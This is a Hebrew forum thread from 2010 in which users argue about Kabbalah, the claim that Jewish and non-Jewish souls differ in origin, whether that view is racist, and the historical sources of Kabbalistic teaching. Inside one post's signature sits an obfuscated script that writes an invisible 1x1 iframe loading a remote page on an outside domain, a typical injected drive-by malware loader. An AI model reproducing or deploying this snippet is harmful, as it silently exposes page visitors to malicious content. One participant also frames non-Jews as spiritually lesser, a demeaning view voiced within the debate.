| נשלח ב-15/11/2010 16:40 |
 |
| |
איש ציפור
אתה מוזמן לתרגם את השגתך העקרונית לפרטי פרטים. עד אז, אני מצטרף לדברי שותף סוד. אילו הייתי מקובל עליון והיו חושדים אותי במה שאתה חשדת, גם אני הייתי מבקש פירוט.
כמובן, לפעמים אדם רואה שמישהו מסלף, לפי דעתו, והוא כה מזדעזע עד שהוא רוצה לפחות להבהיר שמה שנעשה שם אינו נכון ואין לו פנאי או אפילו יכולת להתגבר על הזעזוע במידה מספקת כדי לתקן. לפעמים גם השוני הוא רב מכדי להתחיל.
אז הערתך נרשמה שלפי דעתך המלומדת שותף סוד טועה. ובכל זאת, שומה שדומה עליך לפחות להביא שתים שלוש דוגמאות. מי יודע, אולי הוא הצודק ואתה הטועה. ואולי הוא יודע לך ונמצאת מציל אותו ואת כולנו?
|
|
|
|
| נשלח ב-15/11/2010 16:53 |
|
| |
שותף סוד
האם יש לי עילה לחוש שאתה נסוג בך? אני מקוה שלא.
אחלק את מה שנותר מן הדיון האחרון בינינו לשנים. ואני מקוה להעתיק את המסקנות מכאן לאשכול אחר, "מדריך למתנגד לקבלה"....
שני הנושאים הם: קבלה וקשר למסורת.
***
גזענות
בראשית דבריך, כתבת על הגוי שהוא רק חיקוי לאדם. זה היה משפט חריף מאד, והשאלה כמובן איך יש להבינו. אני הבנתי מכאן שהקבלה, לשיטתך, רואה בגוי משהו אחר מיהודי. שונה מהותית. לא שמעתי הכחשה לנקודה זו. אני טענתי על פי התורה שבכתב כי "צלם אלקים" נאמר לא רק על היהודי אלא גם על כל אדם, גם הגוי.
צריך כמובן לבאר מהו "צלם אלקים" זה, והרי רבו מאד השיטות בפירושו. לכן עלי להבהיר שהתכוונתי להסיק מביטוי זה את השויון בין אדם לאדם. שויון במובן המודרני כל כך של שויון זכויות, שאין לראות אדם אחד כנעלה על חברו, ולאפוקי (להוציא) מתפיסות אחרות, למשל שיש אצילים שיש להם דם כחול.
כאשר עמדת על כך שהיהודי והגוי נבדלים מאד, וכפי שידוע למי שמעיין קצת בספרי קבלה או בפופולריזציות שלהן, או בספרי מחקר, היהודי נחשב למי שנשמתו ממקום גבוה ואילו הגוי נשמתו שונה. (כך למשל בתניא).
לאחר שהיה מה שהיה בפורום (ולא לזכות) ביקשתי לשמוע ממך את דעתך אם גישה זו שמחלקת בין היהודי לגוי היא גזענות. עתה אתה טוען שההבדל בין יהודים לגויים הוא רק בתפקיד שלהם בעולם הזה. זה יתכן מאד. הרי ליהודי יש תריג מצוות ולגוי רק שבע מצוות בני נח. אבל, האם זה כל ההבדל? הרי יש הבדל בין ישראלים, לויים וכהנים, אבל כולם צלם אלקים וכולם יהודים טובים ואהובים, רק שלחלקם מצוות אחרות. האם זה כך אצל הגוי לעומת היהודי?
לכן לא ארפה ממך, כפי שהחוקר לא הרפה מן המקובל והשכל מן הנשמה (רמז ספרותי לכתבי הרמח"ל), ואשאלך: האם יש הבדל בין נשמת היהודי לנשמת הגוי? האם נשמת הגוי פחותה מנשמת היהודי? והאם זו לא גזענות?
***
מקורות הקבלה אשר בידך
שאלתיך יקירי אם יש לך מקור לאותם חידושים מופלאים שהובאו כאן בשם הלשם, הגר"א והאר"י. שהרי עם כל גדולתם, מותר ואף ראוי לשאול לכל מחדש: מנלן? גלה נא מאין דנתני.
ועוד הקשיתי לשאול שאם אין מקור מלבד סמכותם האישית, יש כאן חור גדול שבעדו יוכל לברוח מתנגד הקבלה מלהכיר באמיתותה ושוב לא נוכל, לדוגמא, לאסור עליו להצטרף למנין כשר של מאמיניה.
תשובתך, עד כמה שהבנתי, היתה שיש כאן שיטות שיטות. שיטות של הארי, הגרא והלשם, ושיטות אחרות כגון זו שלי (תודה על ההשוואה) ואתה בוחר.
האם זה כל מה שיש כאן? האם אין כאן רצף היסטורי מכובד יותר? אם פעם יבוא אליך תלמיד וישאל: שמעתי שיש איזה פורום באינטרנט ובו עקשן שמאשים שאין לקבלתנו מקור בתורה שבכתב ובתלמוד, ואין רצף היסטורי ברור מאז ועד לגדולי מורינו, מה היית עונה לו? הרי היית עלול לאבד תלמידים יקרים בגלל שאין רצף ברור לעין?
נמחק שומר מקום עבור כרום שכרגיל שכחתיו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי מיימוני ב- 15/11/2010 17:09:46
 |
|
|
|
|
| נשלח ב-15/11/2010 17:24 |
|
| |
[במאמר מוסגר, מישהו יכול לעשות לי טובה ולהסביר אם האמת היא שגוי שונה מיהודי (ריה"ל) מדוע שאמת זו תיסוג בגלל שמישהו קורא לה גזענות. ראה ציטוט מאשכול סמוך -
"ב. כאשר נגזל גוי, ההנחה היא שצערו והפסדו חשובים לו גם בסכום שהוא פחות מן השיעור המינימלי. אצל יהודי יש פחות התייחסות לסך שהוא מתחת למינימום. (וצריך להסביר מדוע)." זו אינה גזענות?
תוקן על ידי תלמידטועה ב- 15/11/2010 17:39:57
|
|
|
|
| נשלח ב-15/11/2010 17:36 |
|
| |
האמת לא תיסוג, השאלה ממה נובעת גישה זו מהמציאות, מטעות או מרגש התנשאות טבעי ושלילי.
|
|
|
|
| נשלח ב-15/11/2010 17:44 |
|
| |
[תלמיד,
ניחא אם ה'אמת' הזו היתה נשארת בגדר אמונה - מה שעצוב באמת הזו, שלפעמים היא אף פוגעת ב'יהודי', היא גם יורדת לחיי המעשה ומגיעה עד לכדי פיקוח נפש - ראה למשל פסיקתו של ה'חתם סופר', שרופא גוי לא יכול לטפל ביהודי, מפני שהוא אינו מכיר את הביולוגיה שלו - ]
|
|
|
|
| נשלח ב-15/11/2010 17:49 |
|
| |
שותף,
בהמשך לדברי איש ציפור, רציתי להעיר שיש כאן שאלה מעניינת. הרי המגדירים עצמם כמקובלים מתחלקים לכל מיני שיטות. לדוגמה אתה כל הזמן מציג את דבריך כעולים מקבלת האר"י לפי הגר"א והלשם, אבל חב"ד טוענים גם הם שמה שהם אומרים זה נטו קבלת האר"י. אני זוכר במעורפל ראיון עם הרב אביב"י, שנחשב למומחה גדול בקבלת האר"י וכתב עליה הרבה ספרים, והוא אמר שאת הסיכום החריף ביותר לרעיונות האר"י מצא אצל ר"א הלוי מסטרשלע שהיה תלמידו המובהק של בעל התניא.
כעת יש שתי שאלות שאולי יהיה מעניין להעלות. הראשונה היא אם תוכל לתת איזשהו הסבר בסיסי להבדלים בין שיטות שונות, לדוגמה להסביר במה חב"דניקים ותלמידי הגר"א מבינים אחרת את קבלת האר"י (לאור המחלוקות החריפות אני מניח שהם אכן מבינים בצורות שונות).
השאלה השניה יכולה להשאל ע"י איש תם שבא מבחוץ ומעונין ללמוד קבלה, איך לדעתך ניתן להכריע אם ללמוד את כתבי האר"י לפי הלשם או לפי התניא או בשיטה אחרת, וכיצד ניתן, נניח, להבחין בין תכלת לקלא אילן בנושאים כאלו.
|
|
|
|
| נשלח ב-15/11/2010 18:26 |
|
| |
| מיימוני כתב: |  |
האם יש לי עילה לחוש שאתה נסוג בך? אני מקוה שלא.
לא מבין את כוונתך.
גזענות
בראשית דבריך, כתבת על הגוי שהוא רק חיקוי לאדם. זה היה משפט חריף מאד, והשאלה כמובן איך יש להבינו. אני הבנתי מכאן שהקבלה, לשיטתך, רואה בגוי משהו אחר מיהודי. שונה מהותית. לא שמעתי הכחשה לנקודה זו. אני טענתי על פי התורה שבכתב כי "צלם אלקים" נאמר לא רק על היהודי אלא גם על כל אדם, גם הגוי.
צריך כמובן לבאר מהו "צלם אלקים" זה, והרי רבו מאד השיטות בפירושו. לכן עלי להבהיר שהתכוונתי להסיק מביטוי זה את השויון בין אדם לאדם. שויון במובן המודרני כל כך של שויון זכויות, שאין לראות אדם אחד כנעלה על חברו, ולאפוקי (להוציא) מתפיסות אחרות, למשל שיש אצילים שיש להם דם כחול.
כאשר עמדת על כך שהיהודי והגוי נבדלים מאד, וכפי שידוע למי שמעיין קצת בספרי קבלה או בפופולריזציות שלהן, או בספרי מחקר, היהודי נחשב למי שנשמתו ממקום גבוה ואילו הגוי נשמתו שונה. (כך למשל בתניא).
לאחר שהיה מה שהיה בפורום (ולא לזכות) ביקשתי לשמוע ממך את דעתך אם גישה זו שמחלקת בין היהודי לגוי היא גזענות. עתה אתה טוען שההבדל בין יהודים לגויים הוא רק בתפקיד שלהם בעולם הזה. זה יתכן מאד. הרי ליהודי יש תריג מצוות ולגוי רק שבע מצוות בני נח. אבל, האם זה כל ההבדל? הרי יש הבדל בין ישראלים, לויים וכהנים, אבל כולם צלם אלקים וכולם יהודים טובים ואהובים, רק שלחלקם מצוות אחרות. האם זה כך אצל הגוי לעומת היהודי?
לכן לא ארפה ממך, כפי שהחוקר לא הרפה מן המקובל והשכל מן הנשמה (רמז ספרותי לכתבי הרמח"ל), ואשאלך: האם יש הבדל בין נשמת היהודי לנשמת הגוי? האם נשמת הגוי פחותה מנשמת היהודי? והאם זו לא גזענות?
זה אתה מתכוון שאני חוזר בי ? קודם אמרתי שהוא חיקוי אדם ועכשיו אמרתי שיש ביניהם הבדלי תפקידים ?
אם כן אני לא חושב שיש חילוק בין הנוסחאות.
בא ניקח את זה למקום אחר, יותר רגוע. האם יש הבדל בין נשמות כהנים לנשמות ישראלים ? האם יש הבדל בין נשמות זכרים לנשמות נקבות ? התשובה לכל זה היא חיובית. התפקידים התחתונים משקפים הבדלים בשורשי הנשמות, והם משתלשלים זה מזה. הקבלה מגדירה בדיוק מהיכן בעולמות העליונים נמשכות נשמות הזכרים ונשמות הנקבות, מהיכן כהנים ומהיכן לויים, מהיכן יהודים ומהיכן אומות העולם ומהיכן כל אומה ואומה בהם.
ואם נחזור לשאלה העיקרית, הרי נשמות ישראל נמשכות מהאצילות ונשמות אומות העולם נמשכות מבי"ע (וכמ"ש בשם התניא, מקווה שנזכה לאישורו של אישציפור), וזה משמעותי עד כמה שאצילות שונה מבי"ע.
האם כל זה גזענות ? לא, כל זה מיפוי אנטרופולוגי של שורשי נשמות.
מה אתה רוצה ממני עם כל הסטיגמות הנוהגות בעולם ? אני אשם ביישומים שלזה בידי אנשים כאלה או אחרים ? בגלל זה נחניק את האמת ? אנשים חושבים !
מקורות הקבלה אשר בידך
שאלתיך יקירי אם יש לך מקור לאותם חידושים מופלאים שהובאו כאן בשם הלשם, הגר"א והאר"י. שהרי עם כל גדולתם, מותר ואף ראוי לשאול לכל מחדש: מנלן? גלה נא מאין דנתני.
ועוד הקשיתי לשאול שאם אין מקור מלבד סמכותם האישית, יש כאן חור גדול שבעדו יוכל לברוח מתנגד הקבלה מלהכיר באמיתותה ושוב לא נוכל, לדוגמא, לאסור עליו להצטרף למנין כשר של מאמיניה.
תשובתך, עד כמה שהבנתי, היתה שיש כאן שיטות שיטות. שיטות של הארי, הגרא והלשם, ושיטות אחרות כגון זו שלי (תודה על ההשוואה) ואתה בוחר.
האם זה כל מה שיש כאן? האם אין כאן רצף היסטורי מכובד יותר? אם פעם יבוא אליך תלמיד וישאל: שמעתי שיש איזה פורום באינטרנט ובו עקשן שמאשים שאין לקבלתנו מקור בתורה שבכתב ובתלמוד, ואין רצף היסטורי ברור מאז ועד לגדולי מורינו, מה היית עונה לו? הרי היית עלול לאבד תלמידים יקרים בגלל שאין רצף ברור לעין?
צר לי מיימוני ידידי, אני לא נכנס לפני האריות, האר"י וממשיכי דרכו (הגר"א- ליטאים, הבעש"ט- חסידים, הרש"ש- ספרדים, הרמח"ל- בלתי מזוהים..., ובסה"כ כל חלקי היהדות הנאמנה). אין לי אימון בלימודי היסטוריה בכלל ובהיסטוריוסופיה של הקבלה בפרט, ואת התלמיד החביב ששואל אני אפנה לאנשים אחרים אם לא ישתכנע בטיפלות העניין.
|
|
|
|
|
|
|
| נשלח ב-15/11/2010 18:47 |
|
| |
| שנרב_נ כתב: | | כעת יש שתי שאלות שאולי יהיה מעניין להעלות. הראשונה היא אם תוכל לתת איזשהו הסבר בסיסי להבדלים בין שיטות שונות, לדוגמה להסביר במה חב"דניקים ותלמידי הגר"א מבינים אחרת את קבלת האר"י (לאור המחלוקות החריפות אני מניח שהם אכן מבינים בצורות שונות).
השאלה השניה יכולה להשאל ע"י איש תם שבא מבחוץ ומעונין ללמוד קבלה, איך לדעתך ניתן להכריע אם ללמוד את כתבי האר"י לפי הלשם או לפי התניא או בשיטה אחרת, וכיצד ניתן, נניח, להבחין בין תכלת לקלא אילן בנושאים כאלו. |
|
נתחיל מהשאלה השניה. אדם שנכנס לעולם הישיבות ונתקל בצורות שונות של לימוד, ויש בידו את הכח הזמן והמקום לבחור ביניהם, יעשה זאת ע"פ הכלל של ליבו חפץ. עיקר ההבדלים לדעתי הוא בעניין מה נחשב קושיה ומה נחשב תירוץ. אתה לומד ומתקדם עד שאתה מוצא את סגנון הלימוד החביב עליך ושם אתה משקיע את כולך.
בנסתר זה בדיוק אותו דבר, רק כאן מוסיפים גם שאלה של מה מותר לשאול ולא רק איך שואלים ומתרצים. אין לנו כלל אחר חוץ מליבו חפץ, כי לא יתכן שהקב"ה ישלח אדם למשימה בלי שיהיה לו בתוכו את היכולת למצוא את הדרך לעשותה. וכמובן תפילה שלא יארע דבר תקלה לא תזיק אף פעם.
ומפה לשאלה הראשונה. מעבר לנקודות מסויימות של תוכן שבהם מתפצלות השיטות השונות, יש חילוק ביניהם בהיתרי הלימוד ובצורתו, כנ"ל בנגלה. כבר עליתי על מוקשים מספיק ליום אחד, לכן אסתפק באמירה שכל שיטה (ליטאית, חסידית וספרדית) לומדת בדיוק כמו שהיא לומדת נגלה, והמבין יבין.
המחלוקות הגדולות שבין ליטאים וחסידים היו בעיקר סביב נושא הצמצום הידוע והשלכותיו, וראיתי שכבר דנו בזה בפורום זה רבות.
|
|
|
|
| נשלח ב-16/11/2010 00:35 |
|
| |
אתייחס לנקודות הבולטות במיוחד קודם בפן העקרוני ואח"כ בפרוטות בבהן הוא נפרט במציאות,
בפן העקרוני, ניתוק הקבלה מהתורה ה"רגילה" שבכתב ושבע"פ ומדברי הנביאים שזה סילוף גמור בפרט של תורת הגר"א, שעיקר עמלה לאחד בין הנ"ל לכדי מציאות אחת , ברה ובהירה, וצר לי אבל תירוץ בסגנון בסוף יתברר שזה נכון הוא תירוץ חלש ובעיני גם לא הכי הגון, וכן שימוש בדברי הלשם הגר"א והאר"י ז"ל לכאורה, באשר למעשה הוא שומט את הקרקע מתחת לכל בירור אמיתי של הדברים.
בפן היותר קונקרטי הוצאו כאן דברים שעוסקים באפיון של נשמות ושיוכן העליון (או חיסרון בשיוך כזה) אל הקשר של עולם המעשה והפיכת הגוי ל"חיקוי אדם" , ש"לא ישאר באחרית הימים." דבר שסותר בבירור מקורות רבים שמדברים על קריאת העולם כולו בשם השם לעתיד ועליית האנושות כולה אל הר בית השם ,דבר שאנחנו גם מזכירים בתפילותינו ובמעשינו בחגי תשרי ובר"ה בפרט . (מעבר לדברי ר"ע ואחרים שכבר הזכירו כאן אחרים)
ואמנם יש גם מקורות סותרים החל בכך שרק לכל ישראל יש חלק לעולם הבא, אך לא לכל אומות העולם, אך שוברו בצידו שכן חסידי אומות העולם יש להם חלק לעולם הבא, ובכלל נושא העולם הבא מצריך לימוד ארוך ומפורט ועוסק באפיון השיוך הנשמתי (ששייך לעולם הבריאה אם לא למעלה ממנו, ולא לעולם העשיה, אם להשתמש רגע במינוחים קבליים) וכן המקור העיקרי שעוסק בנושא הזה בענין דברי ר"ש על הפסוק "אדם אתם" שקברי עו"כ אינם מטמאין כיון שאתם (=ישראל) קרויין אדם ואין עו"ג קרויים אדם. אלא שמעבר להפיכת הכלל הזה (שאגב גם ר"ש מצמצם אותו רק לאהל כפי שרש"י מבאר שהרי מפורש בתורה במלחמת מדין שגוי מטמא בטומאת מת רגילה) לכלל גורף ששייך לעולם העשיה מעבר לאופן בו הגדירו רשב"י , יש בדברים חילול השם פשוט באשר הדברים מציגים את התורה בדומה לאופן בו שונאי ישראל הציגו אותה לאורך הדורות כדי להבאיש את ריחה וריח מקיימיה ולומדיה בעולם, כתורה שמונעת משנאה ונקמה, וגאוה ובניגוד גמור למה שלמדנו ממשה רבינו עליו השלום, ומשאר גדולי החכמים לאורך הדורות. ולצערי הנקודה הזו בולטת הרבה יותר מהרצוי באשכול הזה ואחיו, עד שנאלצתי למחות, למרות שיש בהם גם לא מעט דברים נכונים , באשר ברגע בו יש חילול השם בולט מדי, ועיוות של היושר האנושי הבסיסי, והחלפתו ב"לכאורה תורה" שעוסקת ברוחניות ללא כלים יציבים מספיק בעולם הזה , אין תקנה אלא בסתירת הבנין כולו, וכפי שהיה בימי הבית השני, שאת גלותו אנחנו נושאים שנים ארוכות כ"כ. וכיון שידעתי שלא יקשיבו לי אם בשל לשוני הדלה וקוטן מעלתי, ואם בשל קושי הענין המושג, ותנאי ההתחלה הממילא קשים בנוגע לעיסוק בו, אמרתי שלכל הפחות אנהג כפי שלימדונו חכמים ב"במה בהמה" שמכ"מ למחות יכול אני, ואם ירצו לשמוע או לברר הדברים טוב, ואם לא לפחות אצא אני מגדר מאשרי הטעות. ואמנם אני מעריך שאין כוונת הכותב לרעה חלילה, ואדרבה סביר עד מאוד שכוונתו לטוב, אלא שאחד שוגג ואחד מזיד בחילול השם, ואדרבה אם אזכה להאיר את עיניו ו/או את מי מחבריו ורבותיו, שאף אם כוונותיהם לטובה (ובמסירות נפש גדולה) תוצאות דבריהם מרה כלענה, כך שאם לא יזכו לייצר כלים נאותים שמסוגלים לקבל את הדברים אל תוך עולם העשיה, טוב שלא יאמרו דבריהם, בודאי שלא ברבים, והיה זה שכרי. הגם שודאי עדיף לי ולכל שיזכו לכלים כאלו (בתורה שבע"פ מצויים כאלו לאלפים) וכך יוכלו באמת להביא לזיכוי הרבים ככוכבים לעולם ועד, ואדרבה אם ירצו אשמח ליתן להם מהמעט שבידי שנזכה.
נ.ב. לצערי רק לפני כשעה שבתי אל המחשב לאחר גלות של כמה שעות ;-) , ולכן נתאחרו הדברים עד עתה, אני מקוה שאין בכך קפידא כלפי חלילה.
|
|
|
|
|
| נשלח ב-16/11/2010 10:00 |
|
| |
| אישציפור כתב: | | בפן העקרוני, ניתוק הקבלה מהתורה ה"רגילה" שבכתב ושבע"פ ומדברי הנביאים שזה סילוף גמור בפרט של תורת הגר"א, שעיקר עמלה לאחד בין הנ"ל לכדי מציאות אחת , ברה ובהירה, וצר לי אבל תירוץ בסגנון בסוף יתברר שזה נכון הוא תירוץ חלש ובעיני גם לא הכי הגון, וכן שימוש בדברי הלשם הגר"א והאר"י ז"ל לכאורה, באשר למעשה הוא שומט את הקרקע מתחת לכל בירור אמיתי של הדברים.
אני מניח שאתה מתייחס לדיון שהיה בין שנרב לביני (באשכול המשך ראשון) מה עושים כאשר הפסיקה מבוססת על מציאות שכעת כבר השתנתה. אני טענתי שהתמונה העליונה לא השתנתה ולכן גם הפסיקה תשאר, שנרב טען (כך אני מבין) שהפסיקה תשתנה בהתאם למציאות החדשה. כאשר עברנו למישור "ההערכות ההדדיות" טען שנרב שאני חי בסרט מפונטז עם הררי פופקורן. עומק טענתו (כך אני מבין) שהפוסקים למעשה אינם נוהגים לפסוק ע"פ הנסתר (וגם לא יודעים אותו בד"כ) אלא ע"י דימוי מילתא למילתא וסיכום השו"תים וכו'.
אני מסכים עם קביעתו. צר לי מאד, זו המציאות כרגע. ע"ז אמרתי שימים יוכיחו איך בורא עולם ינהיג את עולמו.
מה זה קשור לשיטת הגר"א שודאי רוצה בכל מאודו לשלב את הנגלה עם הנסתר ? הלואי והיתה שיטתו מתקבלת, ותלמידי החכמים היו עוסקים בנגלה ובנסתר כאחד ומשלבים ומתאמים ביניהם כתורה ברורה ושלימה. הלא זהו שיאו של קידוש שם שמיים. כל הפעולות החלשלושיות שלי מטרתן להביא למודעות את הצורך הזה גופא.
אין אני בר הכי לא בנגלה ולא בנסתר כדי ליישב את סוגיית עילאה או תתאה גבר בסוד עם בישול יד סולדת של איסור בהיתר בפשט. אם כבודו יעזור בזה, ויביא לבירור אמיתי של הדברים כלשונו, הריני הדום תחת כפות רגליו. אני הקטן יכול רק להראות כיוון כללי ולהתפלל לישועה.
מיד אענה בס"ד לחלק השני בדבריך
|
|
|
|
|
|
|
| נשלח ב-16/11/2010 10:46 |
|
| |
שותף
לשיטתך, החזון איש שפסק שמחללים שבת על בן שמונה, הכשיל את הרבים בחילול שבת.
|
|
|
|
| נשלח ב-16/11/2010 10:51 |
|
| |
תוקן על ידי שותףסוד ב- 16/11/2010 10:59:52
|
|
|
|
| נשלח ב-16/11/2010 11:20 |
|
| |
לבעלבעמיו
הכיוון הכללי הוא שלשותף אין בררה אלא להתפלל ולצפות לישועה מלמעלה מפני שכאשר שנרב הוריד אותו לקרקע המציאות הוא הבין שאין לו מושג איך מיתרגמת תורתו בקרקע.(הודעה לא צינית)
|
|
|
|
| נשלח ב-16/11/2010 11:25 |
|
| |
| אישציפור כתב: | | | בפן היותר קונקרטי הוצאו כאן דברים שעוסקים באפיון של נשמות ושיוכן העליון (או חיסרון בשיוך כזה) אל הקשר של עולם המעשה והפיכת הגוי ל"חיקוי אדם" , ש"לא ישאר באחרית הימים." דבר שסותר בבירור מקורות רבים שמדברים על קריאת העולם כולו בשם השם לעתיד ועליית האנושות כולה אל הר בית השם ,דבר שאנחנו גם מזכירים בתפילותינו ובמעשינו בחגי תשרי ובר"ה בפרט . (מעבר לדברי ר"ע ואחרים שכבר הזכירו כאן אחרים)
ואמנם יש גם מקורות סותרים החל בכך שרק לכל ישראל יש חלק לעולם הבא, אך לא לכל אומות העולם, אך שוברו בצידו שכן חסידי אומות העולם יש להם חלק לעולם הבא, ובכלל נושא העולם הבא מצריך לימוד ארוך ומפורט ועוסק באפיון השיוך הנשמתי (ששייך לעולם הבריאה אם לא למעלה ממנו, ולא לעולם העשיה, אם להשתמש רגע במינוחים קבליים) וכן המקור העיקרי שעוסק בנושא הזה בענין דברי ר"ש על הפסוק "אדם אתם" שקברי עו"כ אינם מטמאין כיון שאתם (=ישראל) קרויין אדם ואין עו"ג קרויים אדם. אלא שמעבר להפיכת הכלל הזה (שאגב גם ר"ש מצמצם אותו רק לאהל כפי שרש"י מבאר שהרי מפורש בתורה במלחמת מדין שגוי מטמא בטומאת מת רגילה) לכלל גורף ששייך לעולם העשיה מעבר לאופן בו הגדירו רשב"י
מסכים מאד שנושא עולם הבא מצריך לימוד ארוך ומפורט כדבריך. הלשם אכן כתב ספר ארוך ומפורט על נושא זה (ספר הדע"ה ח"ב) ומומלץ מאד לעבור עליו קודם כדי להתחיל להביא מובאות ולדון עליהן.
תמצית דתמצית הדברים היא שתהליך עליית העולמות מהעביות המגושמת שבה הם שרויים כרגע אל הזיכוך הרוחני שייעד להם הבורא הוא לא רק תהליך רב שלבים בגובה (כלפי רצון הבורא כביכול) אלא שמתבצעת בו גם התכללות ברוחב. לדוגמא:(שאיננה מדוייקת) כל בניו של אדם נכללים בו, כל הנכדים נכללים אח"כ בסבא וכן הלאה והלאה עד אדם הראשון. הפרטים מתכללים סביב נקודות עיקריות אשר גם הן נכללות סביב נקודות עיקריות מהן וכו' עד שכל הבריאה נכללת בנקודה המרכזית שבה.
משמעות ההתכללות הרוחבית היא שפרטים אשר נידונו לעצמם בשלב נמוך יותר "נעלמים" ונספחים לכללים גדולים מהם בשלב גבוה יותר. למשל: ידוע ההסבר שביום ראשון דראש השנה יש דינא קשיא על כל פרט, אבל ביום שני דר"ה יש דינא רפיא כי דנים על מיכלולים שבהם נבלע הפרט. התיאור הזה נכון לדומם לצומח לחי ולמדבר בדרגותיו השונות, כולם הולכים ונכללים סביב דמות האדם.
כל זה נכון בודאי גם ביחס לאומות העולם בתהליך עלייתם והתכללותם סביב דמות האדם שבבריאה. בזה אפשר ליישב את כל השמועות השונות (עולים בפנ"ע להר הקודש, חלק מהם יש לו חלק משלו בעולם הבא, כולם אינם נקראים אדם לעניין השראת טומאת מת על יהודי שנכנס לשם) כל אלה ואחרים הם שלבים בעלייה ההדרגתית של העולמות לעתיד לבוא בגובה וברוחב.
אני מניח שאלה דברים פשוטים וידועים לשותפי סוד כמוך. הזכרתי אותם רק לעצמי ולאחרים.
יש בדברים חילול השם פשוט באשר הדברים מציגים את התורה בדומה לאופן בו שונאי ישראל הציגו אותה לאורך הדורות כדי להבאיש את ריחה וריח מקיימיה ולומדיה בעולם, כתורה שמונעת משנאה ונקמה, וגאוה ובניגוד גמור למה שלמדנו ממשה רבינו עליו השלום, ומשאר גדולי החכמים לאורך הדורות. ולצערי הנקודה הזו בולטת הרבה יותר מהרצוי באשכול הזה ואחיו, עד שנאלצתי למחות, למרות שיש בהם גם לא מעט דברים נכונים , באשר ברגע בו יש חילול השם בולט מדי, ועיוות של היושר האנושי הבסיסי, והחלפתו ב"לכאורה תורה" שעוסקת ברוחניות ללא כלים יציבים מספיק בעולם הזה , אין תקנה אלא בסתירת הבנין כולו, וכפי שהיה בימי הבית השני, שאת גלותו אנחנו נושאים שנים ארוכות כ"כ.
אכן נקודה עקרונית מאד. אני תמיד נדהם מחדש לראות את התלהטות היצרים אשר מתחילה בעקבות העיסוק בנושא ישראל והעמים, גם מאנשים שלא ינידו עפעף כאשר יחרפו ויגדפו את היקר להם מכל (ואין כוונתי אליך כי לא מכיר אותך כלל בנושאים אחרים). אנשים תוקעים בשופרות ויוצאים בחרב וחנית וכו' וכו' כאילו שפגעו בציפור נפשם העמוקה ביותר. אז כנראה זה לא כאילו, וגר אסור לבזות נוכרי בפניו עד עשרה דורות.
מה אעשה, אני אדיש לנושא הזה. אין שום הבדל מבחינתי בסוגיא של ישראל לעמים לסוגיא של כהן ולוי (וכן איש ואשה וכן אשכנזי וספרדי וכו' וכו'). אני אומר את אשר הבנתי, ולא נבהל מפטפוטי פוליטיקלי קורקט שנכפו עלינו איני יודע מאין. תורה היא וללמוד אני צריך, ולימדונו לא תגורו מפני איש. כל הפומפוזיות וגלגולי העיניים (הצבועים לדעתי) בנושא המסויים הזה דווקא משעשעים אותי. (ולפני שיתחילו בקשקושים, גם ממשפחתי נהרגו בשואה וכו' וכו').
|
|
|
|
|
|
|
| נשלח ב-16/11/2010 11:26 |
|
| |
צענע ושותף
אחת הטענות שהופנתה כלפי שותף הוא שאם קבלה אמורה לענות על כל דבר, אזי כיצד הוא יתרגם אותה לפרטים.
שותף טען שההלכה אינה נקבעת לפי הנסיון אלא ע"פ סודם של דברים.
ועל זה באה טענתי האחרונה וטענות של אחרים.
אוסיף עוד טענה. כידוע פוסקים רבים סוברים שבמקום שנחלקו המקובלים וחכמי הנגלה, הלכה כחכמי הנגלה. האם כל הפוסקים האלו חולקים על הנחות היסוד של שותף?
|
|
|
|
|
